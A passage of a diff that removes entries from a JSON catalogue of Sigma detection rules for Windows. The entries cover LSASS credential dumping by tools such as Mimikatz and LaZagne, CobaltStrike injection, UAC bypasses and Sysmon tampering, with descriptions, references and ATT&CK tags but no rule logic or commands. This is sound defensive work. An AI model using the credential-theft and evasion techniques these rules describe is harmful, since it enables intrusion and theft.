"https://web.archive.org/web/20190720093911/http://www.endurant.io/cmstp/detecting-cmstp-enabled-code-execution-and-uac-bypass-with-sysmon/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_cmstp_execution_by_access.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1218.003", - "attack.execution", - "attack.t1559.001", - "attack.g0069", - "attack.g0080", - "car.2019-04-001" - ], - "creation_date": "2018/07/16", - "filename": "proc_access_win_cmstp_execution_by_access.yml", - "author": "Nik Seetharaman", - "level": "high", - "falsepositive": [ - "Legitimate CMSTP use (unlikely in modern enterprise environments)" - ], - "logsource.category": "process_access", - "logsource.product": "windows" - } - }, - { - "description": "Detects a typical pattern of a CobaltStrike BOF which inject into other processes", - "uuid": "09706624-b7f6-455d-9d02-adee024cee1d", - "value": "CobaltStrike BOF Injection Pattern", - "meta": { - "refs": [ - "https://github.com/boku7/injectAmsiBypass", - "https://github.com/boku7/spawn", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_cobaltstrike_bof_injection_pattern.yml" - ], - "tags": [ - "attack.execution", - "attack.t1106", - "attack.defense_evasion", - "attack.t1562.001" - ], - "creation_date": "2021/08/04", - "filename": "proc_access_win_cobaltstrike_bof_injection_pattern.yml", - "author": "Christian Burkard", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_access", - "logsource.product": "windows" - } - }, - { - "description": "Detects processes requesting access to LSASS memory via suspicious access masks. This is typical for credentials dumping tools", - "uuid": "32d0d3e2-e58d-4d41-926b-18b520b2b32d", - "value": "Credential Dumping Tools Accessing LSASS Memory", - "meta": { - "refs": [ - "https://onedrive.live.com/view.aspx?resid=D026B4699190F1E6!2843&ithint=file%2cpptx&app=PowerPoint&authkey=!AMvCRTKB_V1J5ow", - "https://cyberwardog.blogspot.com/2017/03/chronicles-of-threat-hunter-hunting-for_22.html", - "https://www.slideshare.net/heirhabarov/hunting-for-credentials-dumping-in-windows-environment", - "http://security-research.dyndns.org/pub/slides/FIRST2017/FIRST-2017_Tom-Ueltschi_Sysmon_FINAL_notes.pdf", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_cred_dump_lsass_access.yml" - ], - "tags": [ - "attack.credential_access", - "attack.t1003.001", - "attack.s0002", - "car.2019-04-004" - ], - "creation_date": "2017/02/16", - "filename": "proc_access_win_cred_dump_lsass_access.yml", - "author": "Florian Roth, Roberto Rodriguez, Dimitrios Slamaris, Mark Russinovich, Thomas Patzke, Teymur Kheirkhabarov, Sherif Eldeeb, James Dickenson, Aleksey Potapov, oscd.community (update)", - "level": "high", - "falsepositive": [ - "Legitimate software accessing LSASS process for legitimate reason; please add more filters" - ], - "logsource.category": "process_access", - "logsource.product": "windows" - } - }, - { - "description": "Detects the usage of the direct syscall of NtOpenProcess which might be done from a CobaltStrike BOF.", - "uuid": "3f3f3506-1895-401b-9cc3-e86b16e630d0", - "value": "Direct Syscall of NtOpenProcess", - "meta": { - "refs": [ - "https://medium.com/falconforce/falconfriday-direct-system-calls-and-cobalt-strike-bofs-0xff14-741fa8e1bdd6", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_direct_syscall_ntopenprocess.yml" - ], - "tags": [ - "attack.execution", - "attack.t1106" - ], - "creation_date": "2021/07/28", - "filename": "proc_access_win_direct_syscall_ntopenprocess.yml", - "author": "Christian Burkard, Tim Shelton", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_access", - "logsource.product": "windows" - } - }, - { - "description": "Detects the use of SysmonEnte, a tool to attack the integrity of Sysmon", - "uuid": "d29ada0f-af45-4f27-8f32-f7b77c3dbc4e", - "value": "SysmonEnte Usage", - "meta": { - "refs": [ - "https://codewhitesec.blogspot.com/2022/09/attacks-on-sysmon-revisited-sysmonente.html", - "https://github.com/codewhitesec/SysmonEnte/", - "https://github.com/codewhitesec/SysmonEnte/blob/main/screens/1.png", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_hack_sysmonente.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1562.002" - ], - "creation_date": "2022/09/07", - "filename": "proc_access_win_hack_sysmonente.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_access", - "logsource.product": "windows" - } - }, - { - "description": "Detects HandleKatz opening LSASS to duplicate its handle to later dump the memory without opening any new handles", - "uuid": "b1bd3a59-c1fd-4860-9f40-4dd161a7d1f5", - "value": "HandleKatz Duplicating LSASS Handle", - "meta": { - "refs": [ - "https://github.com/codewhitesec/HandleKatz", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_handlekatz_lsass_access.yml" - ], - "tags": [ - "attack.execution", - "attack.t1106", - "attack.defense_evasion", - "attack.t1003.001" - ], - "creation_date": "2022/06/27", - "filename": "proc_access_win_handlekatz_lsass_access.yml", - "author": "Bhabesh Raj (rule), @thefLinkk", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_access", - "logsource.product": "windows" - } - }, - { - "description": "Detects suspect access to svchost process memory such as that used by Invoke-Phantom to kill the winRM windows event logging service.", - "uuid": "166e9c50-8cd9-44af-815d-d1f0c0e90dde", - "value": "Suspect Svchost Memory Asccess", - "meta": { - "refs": [ - "https://github.com/hlldz/Invoke-Phant0m", - "https://twitter.com/timbmsft/status/900724491076214784", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_invoke_phantom.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1562.002" - ], - "creation_date": "2020/01/02", - "filename": "proc_access_win_invoke_phantom.yml", - "author": "Tim Burrell", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_access", - "logsource.product": "windows" - } - }, - { - "description": "Detects the access to processes by other suspicious processes which have reflectively loaded libraries in their memory space.\nAn example is SilentTrinity C2 behaviour. Generally speaking, when Sysmon EventID 10 cannot reference a stack call to a dll loaded from disk (the standard way),\nit will display \"UNKNOWN\" as the module name. Usually this means the stack call points to a module that was reflectively loaded in memory.\nAdding to this, it is not common to see such few calls in the stack (ntdll.dll --> kernelbase.dll --> unknown) which essentially means that\nmost of the functions required by the process to execute certain routines are already present in memory, not requiring any calls to external libraries.\nThe latter should also be considered suspicious.\n", - "uuid": "5f113a8f-8b61-41ca-b90f-d374fa7e4a39", - "value": "Suspicious In-Memory Module Execution", - "meta": { - "refs": [ - "https://azure.microsoft.com/en-ca/blog/detecting-in-memory-attacks-with-sysmon-and-azure-security-center/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_in_memory_assembly_execution.yml" - ], - "tags": [ - "attack.privilege_escalation", - "attack.defense_evasion", - "attack.t1055.001", - "attack.t1055.002" - ], - "creation_date": "2019/10/27", - "filename": "proc_access_win_in_memory_assembly_execution.yml", - "author": "Perez Diego (@darkquassar), oscd.community, Jonhnathan Ribeiro", - "level": "low", - "falsepositive": [ - "SysInternals Process Explorer" - ], - "logsource.category": "process_access", - "logsource.product": "windows" - } - }, - { - "description": "Detects LSASS process access by LaZagne for credential dumping.", - "uuid": "4b9a8556-99c4-470b-a40c-9c8d02c77ed0", - "value": "Credential Dumping by LaZagne", - "meta": { - "refs": [ - "https://twitter.com/bh4b3sh/status/1303674603819081728", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_lazagne_cred_dump_lsass_access.yml" - ], - "tags": [ - "attack.credential_access", - "attack.t1003.001", - "attack.s0349" - ], - "creation_date": "2020/09/09", - "filename": "proc_access_win_lazagne_cred_dump_lsass_access.yml", - "author": "Bhabesh Raj, Jonhnathan Ribeiro", - "level": "critical", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_access", - "logsource.product": "windows" - } - }, - { - "description": "Detects the process injection of a LittleCorporal generated Maldoc.", - "uuid": "7bdde3bf-2a42-4c39-aa31-a92b3e17afac", - "value": "LittleCorporal Generated Maldoc Injection", - "meta": { - "refs": [ - "https://github.com/connormcgarr/LittleCorporal", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_littlecorporal_generated_maldoc.yml" - ], - "tags": [ - "attack.execution", - "attack.t1204.002", - "attack.t1055.003" - ], - "creation_date": "2021/08/09", - "filename": "proc_access_win_littlecorporal_generated_maldoc.yml", - "author": "Christian Burkard", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_access", - "logsource.product": "windows" - } - }, - { - "description": "COM interface (EditionUpgradeManager) that is not used by standard executables.", - "uuid": "fb3722e4-1a06-46b6-b772-253e2e7db933", - "value": "Load Undocumented Autoelevated COM Interface", - "meta": { - "refs": [ - "https://www.snip2code.com/Snippet/4397378/UAC-bypass-using-EditionUpgradeManager-C/", - "https://gist.github.com/hfiref0x/de9c83966623236f5ebf8d9ae2407611", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_load_undocumented_autoelevated_com_interface.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.privilege_escalation", - "attack.t1548.002" - ], - "creation_date": "2020/10/07", - "filename": "proc_access_win_load_undocumented_autoelevated_com_interface.yml", - "author": "oscd.community, Dmitry Uchakin", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_access", - "logsource.product": "windows" - } - }, - { - "description": "Detects adversaries leveraging the MiniDump export function from comsvcs.dll via rundll32 to perform a memory dump from lsass.", - "uuid": "a49fa4d5-11db-418c-8473-1e014a8dd462", - "value": "Lsass Memory Dump via Comsvcs DLL", - "meta": { - "refs": [ - "https://twitter.com/shantanukhande/status/1229348874298388484", - "https://modexp.wordpress.com/2019/08/30/minidumpwritedump-via-com-services-dll/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_lsass_dump_comsvcs_dll.yml" - ], - "tags": [ - "attack.credential_access", - "attack.t1003.001" - ], - "creation_date": "2020/10/20", - "filename": "proc_access_win_lsass_dump_comsvcs_dll.yml", - "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", - "level": "critical", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_access", - "logsource.product": "windows" - } - }, - { - "description": "Detects process LSASS memory dump using Mimikatz, NanoDump, Invoke-Mimikatz, Procdump or Taskmgr based on the CallTrace pointing to ntdll.dll, dbghelp.dll or dbgcore.dll for win10, server2016 and up.", - "uuid": "5ef9853e-4d0e-4a70-846f-a9ca37d876da", - "value": "LSASS Memory Dump", - "meta": { - "refs": [ - "https://blog.menasec.net/2019/02/threat-hunting-21-procdump-or-taskmgr.html", - "https://cyberwardog.blogspot.com/2017/03/chronicles-of-threat-hunter-hunting-for_22.html", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1003.001/T1003.001.md", - "https://research.splunk.com/endpoint/windows_possible_credential_dumping/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_lsass_memdump.yml" - ], - "tags": [ - "attack.credential_access", - "attack.t1003.001", - "attack.s0002" - ], - "creation_date": "2019/04/03", - "filename": "proc_access_win_lsass_memdump.yml", - "author": "Samir Bousseaden, Michael Haag", - "level": "high", - "falsepositive": [ - "False positives are present when looking for 0x1410. Exclusions may be required." - ], - "logsource.category": "process_access", - "logsource.product": "windows" - } - }, - { - "description": "Detects a possible process memory dump that uses the white-listed filename like TrolleyExpress.exe as a way to dump the lsass process memory without Microsoft Defender interference", - "uuid": "4be8b654-0c01-4c9d-a10c-6b28467fc651", - "value": "LSASS Access from White-Listed Processes", - "meta": { - "refs": [ - "https://twitter.com/_xpn_/status/1491557187168178176", - "https://www.ired.team/offensive-security/credential-access-and-credential-dumping/dump-credentials-from-lsass-process-without-mimikatz", - "https://twitter.com/mrd0x/status/1460597833917251595", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_lsass_memdump_evasion.yml" - ], - "tags": [ - "attack.credential_access", - "attack.t1003.001", - "attack.s0002" - ], - "creation_date": "2022/02/10", - "filename": "proc_access_win_lsass_memdump_evasion.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Unlikely, since these tools shouldn't access lsass.exe at all" - ], - "logsource.category": "process_access", - "logsource.product": "windows" - } - }, - { - "description": "Detects a possible process memory dump based on a keyword in the file name of the accessing process", - "uuid": "9bd012ee-0dff-44d7-84a0-aa698cfd87a3", - "value": "LSASS Memory Access by Tool Named Dump", - "meta": { - "refs": [ - "https://twitter.com/_xpn_/status/1491557187168178176", - "https://www.ired.team/offensive-security/credential-access-and-credential-dumping/dump-credentials-from-lsass-process-without-mimikatz", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_lsass_memdump_indicators.yml" - ], - "tags": [ - "attack.credential_access", - "attack.t1003.001", - "attack.s0002" - ], - "creation_date": "2022/02/10", - "filename": "proc_access_win_lsass_memdump_indicators.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Rare programs that contain the word dump in their name and access lsass" - ], - "logsource.category": "process_access", - "logsource.product": "windows" - } - }, - { - "description": "Detects process LSASS memory dump using Mimikatz, NanoDump, Invoke-Mimikatz, Procdump or Taskmgr based on the CallTrace pointing to ntdll.dll, dbghelp.dll or dbgcore.dll for win10, server2016 and up.", - "uuid": "e5b33f7d-eb93-48b6-9851-09e1e610b6d7", - "value": "WerFault Accassing LSASS", - "meta": { - "refs": [ - "https://github.com/helpsystems/nanodump/commit/578116faea3d278d53d70ea932e2bbfe42569507", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_lsass_werfault.yml" - ], - "tags": [ - "attack.credential_access", - "attack.t1003.001", - "attack.s0002" - ], - "creation_date": "2012/06/27", - "filename": "proc_access_win_lsass_werfault.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Actual failures in lsass.exe that trigger a crash dump (unlikely)", - "Unknown cases in which WerFault accesses lsass.exe" - ], - "logsource.category": "process_access", - "logsource.product": "windows" - } - }, - { - "description": "Detects a process access to verclsid.exe that injects shellcode from a Microsoft Office application / VBA macro", - "uuid": "b7967e22-3d7e-409b-9ed5-cdae3f9243a1", - "value": "Malware Shellcode in Verclsid Target Process", - "meta": { - "refs": [ - "https://twitter.com/JohnLaTwC/status/837743453039534080", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_malware_verclsid_shellcode.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.privilege_escalation", - "attack.t1055" - ], - "creation_date": "2017/03/04", - "filename": "proc_access_win_malware_verclsid_shellcode.yml", - "author": "John Lambert (tech), Florian Roth (rule)", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_access", - "logsource.product": "windows" - } - }, - { - "description": "Detects usage of mimikatz through WinRM protocol by monitoring access to lsass process by wsmprovhost.exe.", - "uuid": "aa35a627-33fb-4d04-a165-d33b4afca3e8", - "value": "Mimikatz through Windows Remote Management", - "meta": { - "refs": [ - "https://pentestlab.blog/2018/05/15/lateral-movement-winrm/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_mimikatz_trough_winrm.yml" - ], - "tags": [ - "attack.credential_access", - "attack.execution", - "attack.t1003.001", - "attack.t1059.001", - "attack.lateral_movement", - "attack.t1021.006", - "attack.s0002" - ], - "creation_date": "2019/05/20", - "filename": "proc_access_win_mimikatz_trough_winrm.yml", - "author": "Patryk Prauze - ING Tech", - "level": "high", - "falsepositive": [ - "Unlikely" - ], - "logsource.category": "process_access", - "logsource.product": "windows" - } - }, - { - "description": "Detects LSASS process access by pypykatz for credential dumping.", - "uuid": "7186e989-4ed7-4f4e-a656-4674b9e3e48b", - "value": "Credential Dumping by Pypykatz", - "meta": { - "refs": [ - "https://github.com/skelsec/pypykatz", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_pypykatz_cred_dump_lsass_access.yml" - ], - "tags": [ - "attack.credential_access", - "attack.t1003.001" - ], - "creation_date": "2021/08/03", - "filename": "proc_access_win_pypykatz_cred_dump_lsass_access.yml", - "author": "Bhabesh Raj", - "level": "critical", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_access", - "logsource.product": "windows" - } - }, - { - "description": "Detects process access to LSASS memory with suspicious access flags 0x410 and 0x01410 (spin-off of similar rule)", - "uuid": "678dfc63-fefb-47a5-a04c-26bcf8cc9f65", - "value": "Rare GrantedAccess Flags on LSASS Access", - "meta": { - "refs": [ - "https://docs.microsoft.com/en-us/windows/win32/procthread/process-security-and-access-rights", - "https://onedrive.live.com/view.aspx?resid=D026B4699190F1E6!2843&ithint=file%2cpptx&app=PowerPoint&authkey=!AMvCRTKB_V1J5ow", - "https://cyberwardog.blogspot.com/2017/03/chronicles-of-threat-hunter-hunting-for_22.html", - "https://www.slideshare.net/heirhabarov/hunting-for-credentials-dumping-in-windows-environment", - "http://security-research.dyndns.org/pub/slides/FIRST2017/FIRST-2017_Tom-Ueltschi_Sysmon_FINAL_notes.pdf", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_rare_proc_access_lsass.yml" - ], - "tags": [ - "attack.credential_access", - "attack.t1003.001", - "attack.s0002" - ], - "creation_date": "2022/03/13", - "filename": "proc_access_win_rare_proc_access_lsass.yml", - "author": "Florian Roth", - "level": "medium", - "falsepositive": [ - "Legitimate software accessing LSASS process for legitimate reason" - ], - "logsource.category": "process_access", - "logsource.product": "windows" - } - }, - { - "description": "Detects process access to LSASS memory with suspicious access flags", - "uuid": "a18dd26b-6450-46de-8c91-9659150cf088", - "value": "Suspicious GrantedAccess Flags on LSASS Access", - "meta": { - "refs": [ - "https://docs.microsoft.com/en-us/windows/win32/procthread/process-security-and-access-rights", - "https://onedrive.live.com/view.aspx?resid=D026B4699190F1E6!2843&ithint=file%2cpptx&app=PowerPoint&authkey=!AMvCRTKB_V1J5ow", - "https://cyberwardog.blogspot.com/2017/03/chronicles-of-threat-hunter-hunting-for_22.html", - "https://www.slideshare.net/heirhabarov/hunting-for-credentials-dumping-in-windows-environment", - "http://security-research.dyndns.org/pub/slides/FIRST2017/FIRST-2017_Tom-Ueltschi_Sysmon_FINAL_notes.pdf", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_susp_proc_access_lsass.yml" - ], - "tags": [ - "attack.credential_access", - "attack.t1003.001", - "attack.s0002" - ], - "creation_date": "2021/11/22", - "filename": "proc_access_win_susp_proc_access_lsass.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Legitimate software accessing LSASS process for legitimate reason" - ], - "logsource.category": "process_access", - "logsource.product": "windows" - } - }, - { - "description": "Detects process access to LSASS memory with suspicious access flags and from a suspicious folder", - "uuid": "fa34b441-961a-42fa-a100-ecc28c886725", - "value": "LSASS Access from Program in Suspicious Folder", - "meta": { - "refs": [ - "https://docs.microsoft.com/en-us/windows/win32/procthread/process-security-and-access-rights", - "https://onedrive.live.com/view.aspx?resid=D026B4699190F1E6!2843&ithint=file%2cpptx&app=PowerPoint&authkey=!AMvCRTKB_V1J5ow", - "https://cyberwardog.blogspot.com/2017/03/chronicles-of-threat-hunter-hunting-for_22.html", - "https://www.slideshare.net/heirhabarov/hunting-for-credentials-dumping-in-windows-environment", - "http://security-research.dyndns.org/pub/slides/FIRST2017/FIRST-2017_Tom-Ueltschi_Sysmon_FINAL_notes.pdf", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_susp_proc_access_lsass_susp_source.yml" - ], - "tags": [ - "attack.credential_access", - "attack.t1003.001", - "attack.s0002" - ], - "creation_date": "2021/11/27", - "filename": "proc_access_win_susp_proc_access_lsass_susp_source.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Legitimate software accessing LSASS process for legitimate reason" - ], - "logsource.category": "process_access", - "logsource.product": "windows" - } - }, - { - "description": "Detects when a process, such as mimikatz, accesses the memory of svchost to dump credentials", - "uuid": "174afcfa-6e40-4ae9-af64-496546389294", - "value": "SVCHOST Credential Dump", - "meta": { - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_svchost_cred_dump.yml" - ], - "tags": [ - "attack.t1548" - ], - "creation_date": "2021/04/30", - "filename": "proc_access_win_svchost_cred_dump.yml", - "author": "Florent Labouyrie", - "level": "high", - "falsepositive": [ - "Non identified legit exectubale" - ], - "logsource.category": "process_access", - "logsource.product": "windows" - } - }, - { - "description": "Detects the pattern of UAC Bypass using a WoW64 logger DLL hijack (UACMe 30)", - "uuid": "4f6c43e2-f989-4ea5-bcd8-843b49a0317c", - "value": "UAC Bypass Using WOW64 Logger DLL Hijack", - "meta": { - "refs": [ - "https://github.com/hfiref0x/UACME", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_uac_bypass_wow64_logger.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.privilege_escalation", - "attack.t1548.002" - ], - "creation_date": "2021/08/23", - "filename": "proc_access_win_uac_bypass_wow64_logger.yml", - "author": "Christian Burkard", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_access", - "logsource.product": "windows" - } - }, - { - "description": "7-Zip through 21.07 on Windows allows privilege escalation (CVE-2022-29072) and command execution when a file with the .7z extension is dragged to the Help>Contents area. This is caused by misconfiguration of 7z.dll and a heap overflow. The command runs in a child process under the 7zFM.exe process.", - "uuid": "9a4ccd1a-3526-4d99-b980-9f9c5d3a6ee3", - "value": "Suspicious 7zip Subprocess", - "meta": { - "refs": [ - "https://github.com/kagancapar/CVE-2022-29072", - "https://twitter.com/kagancapar/status/1515219358234161153", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_7zip_cve_2022_29072.yml" - ], - "tags": [ - "cve.2022.29072" - ], - "creation_date": "2022/04/17", - "filename": "proc_creation_win_7zip_cve_2022_29072.yml", - "author": "frack113", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detection of unusual child processes by different system processes", - "uuid": "d522eca2-2973-4391-a3e0-ef0374321dae", - "value": "Abused Debug Privilege by Arbitrary Parent Processes", - "meta": { - "refs": [ - "https://image.slidesharecdn.com/kheirkhabarovoffzonefinal-181117201458/95/hunting-for-privilege-escalation-in-windows-environment-74-638.jpg", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_abusing_debug_privilege.yml" - ], - "tags": [ - "attack.privilege_escalation", - "attack.t1548" - ], - "creation_date": "2020/10/28", - "filename": "proc_creation_win_abusing_debug_privilege.yml", - "author": "Semanur Guneysu @semanurtg, oscd.community", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Windows telemetry makes use of the binary CompatTelRunner.exe to run a variety of commands and perform the actual telemetry collections. This binary was created to be easily extensible, and to that end, it relies on the registry to instruct on which commands to run. The problem is, it will run any arbitrary command without restriction of location or type.", - "uuid": "f548a603-c9f2-4c89-b511-b089f7e94549", - "value": "Abusing Windows Telemetry For Persistence", - "meta": { - "refs": [ - "https://www.trustedsec.com/blog/abusing-windows-telemetry-for-persistence/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_abusing_windows_telemetry_for_persistence.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.persistence", - "attack.t1112", - "attack.t1053" - ], - "creation_date": "2020/09/29", - "filename": "proc_creation_win_abusing_windows_telemetry_for_persistence.yml", - "author": "Sreeman", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Accesschk is an access and privilege audit tool developed by SysInternal and often being used by attacker to verify privileges", - "uuid": "c625d754-6a3d-4f65-9c9a-536aea960d37", - "value": "Accesschk Usage To Check Privileges", - "meta": { - "refs": [ - "https://speakerdeck.com/heirhabarov/hunting-for-privilege-escalation-in-windows-environment?slide=43", - "https://www.youtube.com/watch?v=JGs-aKf2OtU&ab_channel=OFFZONEMOSCOW", - "https://github.com/carlospolop/PEASS-ng/blob/fa0f2e17fbc1d86f1fd66338a40e665e7182501d/winPEAS/winPEASbat/winPEAS.bat", - "https://github.com/gladiatx0r/Powerless/blob/04f553bbc0c65baf4e57344deff84e3f016e6b51/Powerless.bat", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_accesschk_usage_after_priv_escalation.yml" - ], - "tags": [ - "attack.discovery", - "attack.t1069.001" - ], - "creation_date": "2020/10/13", - "filename": "proc_creation_win_accesschk_usage_after_priv_escalation.yml", - "author": "Teymur Kheirkhabarov (idea), Mangatas Tondang (rule), oscd.community, Nasreddine Bencherchali (modified)", - "level": "medium", - "falsepositive": [ - "System administrator Usage" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects the use of Advanced IP Scanner. Seems to be a popular tool for ransomware groups.", - "uuid": "bef37fa2-f205-4a7b-b484-0759bfd5f86f", - "value": "Advanced IP Scanner", - "meta": { - "refs": [ - "https://news.sophos.com/en-us/2019/12/09/snatch-ransomware-reboots-pcs-into-safe-mode-to-bypass-protection/", - "https://www.fireeye.com/blog/threat-research/2020/05/tactics-techniques-procedures-associated-with-maze-ransomware-incidents.html", - "https://labs.f-secure.com/blog/prelude-to-ransomware-systembc", - "https://assets.documentcloud.org/documents/20444693/fbi-pin-egregor-ransomware-bc-01062021.pdf", - "https://thedfirreport.com/2021/01/18/all-that-for-a-coinminer", - "https://github.com/3CORESec/MAL-CL/tree/master/Descriptors/Other/Advanced%20IP%20Scanner", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_advanced_ip_scanner.yml" - ], - "tags": [ - "attack.discovery", - "attack.t1046", - "attack.t1135" - ], - "creation_date": "2020/05/12", - "filename": "proc_creation_win_advanced_ip_scanner.yml", - "author": "@ROxPinTeddy, Nasreddine Bencherchali @nas_bench", - "level": "medium", - "falsepositive": [ - "Legitimate administrative use" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects the use of Advanced Port Scanner.", - "uuid": "54773c5f-f1cc-4703-9126-2f797d96a69d", - "value": "Advanced Port Scanner", - "meta": { - "refs": [ - "https://github.com/3CORESec/MAL-CL/tree/master/Descriptors/Other/Advanced%20Port%20Scanner", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_advanced_port_scanner.yml" - ], - "tags": [ - "attack.discovery", - "attack.t1046", - "attack.t1135" - ], - "creation_date": "2021/12/18", - "filename": "proc_creation_win_advanced_port_scanner.yml", - "author": "Nasreddine Bencherchali @nas_bench", - "level": "medium", - "falsepositive": [ - "Legitimate administrative use", - "Tools with similar commandline (very rare)" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Adversaries may use NTFS file attributes to hide their malicious data in order to evade detection", - "uuid": "7f43c430-5001-4f8b-aaa9-c3b88f18fa5c", - "value": "Execute From Alternate Data Streams", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1564.004/T1564.004.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_alternate_data_streams.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1564.004" - ], - "creation_date": "2021/09/01", - "filename": "proc_creation_win_alternate_data_streams.yml", - "author": "frack113", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "This rule looks for Windows Installer service (msiexec.exe) spawned command line and/or powershell", - "uuid": "1e53dd56-8d83-4eb4-a43e-b790a05510aa", - "value": "Always Install Elevated MSI Spawned Cmd And Powershell", - "meta": { - "refs": [ - "https://image.slidesharecdn.com/kheirkhabarovoffzonefinal-181117201458/95/hunting-for-privilege-escalation-in-windows-environment-50-638.jpg", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_always_install_elevated_msi_spawned_cmd_powershell.yml" - ], - "tags": [ - "attack.privilege_escalation", - "attack.t1548.002" - ], - "creation_date": "2020/10/13", - "filename": "proc_creation_win_always_install_elevated_msi_spawned_cmd_powershell.yml", - "author": "Teymur Kheirkhabarov (idea), Mangatas Tondang (rule), oscd.community", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "This rule looks for Windows Installer service (msiexec.exe) trying to install MSI packages with SYSTEM privilege", - "uuid": "cd951fdc-4b2f-47f5-ba99-a33bf61e3770", - "value": "Always Install Elevated Windows Installer", - "meta": { - "refs": [ - "https://image.slidesharecdn.com/kheirkhabarovoffzonefinal-181117201458/95/hunting-for-privilege-escalation-in-windows-environment-48-638.jpg", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_always_install_elevated_windows_installer.yml" - ], - "tags": [ - "attack.privilege_escalation", - "attack.t1548.002" - ], - "creation_date": "2020/10/13", - "filename": "proc_creation_win_always_install_elevated_windows_installer.yml", - "author": "Teymur Kheirkhabarov (idea), Mangatas Tondang (rule), oscd.community", - "level": "medium", - "falsepositive": [ - "System administrator usage", - "Anti virus products" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "An adversary may use legitimate desktop support and remote access software, such as Team Viewer, Go2Assist, LogMein, AmmyyAdmin, etc, to establish an interactive command and control 